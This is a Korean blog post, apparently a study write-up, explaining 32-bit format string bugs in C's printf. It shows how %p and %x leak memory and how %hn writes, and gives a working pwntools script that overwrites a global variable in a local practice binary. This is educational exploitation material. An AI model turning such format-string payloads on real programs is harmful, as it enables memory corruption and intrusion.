format string bug 32bit

2023. 9. 30. 17:02포너블

오늘은 포맷스트링 버그에 대해 이야기하고 한다. 포맷 스트링 버그(Format String bug,이하 FSB)포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않는 입력 값을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 이를 설명하는 예제 코드를 준비 했다.

해당 코드는 printf 함수에서 파라미터를 검색하지 않은 상태에서 입력 값을 받은 뒤 그 입력 값들에 의해서 메모리의 값이 leak되는 현상이 존재한다. 일반 문자를 입력했을 때는 문제가 되지 않지만 %p, %x를 통해 메모리에 있는  값들을 leak할 수 있다.

예를 들면 위 사진과 같다. 일반 문자열을 입력했을 때는 문제가 되지 않지만 서식 문자를 집어 넣는 경우, 메모리가 가리키고 있는 값을 노출시킬 수 있다. 메모리에 있는 값을 노출시킬 수 있는 뿐만 아니라 특정 메모리 영역에 원하는 값을 삽입할 수도 있다. 그러면 이제 예제에 나온 조건에 만족하는 페이로드를 짜보면서 포맷스트링 버그를 이해해 보겠다.

예제에서 글로벌 변수가 0x12345678이 됐을 때 correct 문자열을 출력한다. 이러한 사실을 인지하고 global_variable에 0x12345678을 입력해보겠다. 먼저 서식문자 중 %n, %hn에 대한 이해가 필요하다. %n은 현재까지 출력된 문자열의 개수를 현재 메모리에 쓰고 %hn은 2바이트씩 나누어 쓸 때 쓰인다. 4바이트를 한번에 씌워주는 것은 오래 걸리니 2바이트씩 나누어 쓰는 방식을 채택하겠다. 그러면 페이로드는 다음과 같다.

payload = p32(e.symbols['global_variable']+2)+p32(e.symbols['global_variable'])
payload += b'%4652c' +b'%1$hn' +b'%17476c'+b'%2$hn'

우리는 0x1234, 0x5678을 나누어 입력할 것이다. 먼저 0x1234를 글로벌 변수 + 2 번째에 기록하기 때문에 0x1234-8을 빼준다. 8을 빼준 이유는 현재까지 출력된 주소가 8바이트이기 때문이다. 이후 하위 바이트에 오는 글로벌변수는 0x5678-0x1234=17476을 써준다. 이후 %1$hn, %2$hn으로 각각 메모리 주소에 써준다. 그러면 global_variable은 0x12345678에 만족하고 correct문자열을 출력하게 된다. 전체적인 페이로드는 아래와 같다.

from pwn import *

context.log_level = 'debug'
p = process('./Format_String_Bug')
e = ELF('./Format_String_Bug')

#payload = p32(e.symbols['global_variable']) + b'%4656c' +b'%1$n'
payload = p32(e.symbols['global_variable']+2)+p32(e.symbols['global_variable'])
payload += b'%4652c' +b'%1$hn' +b'%17476c'+b'%2$hn'
p.sendline(payload)
print(p.recvuntil('correct'))

 

위  사진과 같이 global_variable value가 0x12345678이고 correct문자열을 출력하는 것을 확인할 수 있었다.

'포너블' 카테고리의 다른 글

64bit format string bug 문제 풀이  (1) 2023.10.08
64bit format string bug  (0) 2023.10.01
Dreamhack - oneshot  (0) 2023.09.24
Dreamhack - basic_rop_x64  (0) 2023.09.23
Dreamhack - basic_rop_x86  (0) 2023.09.16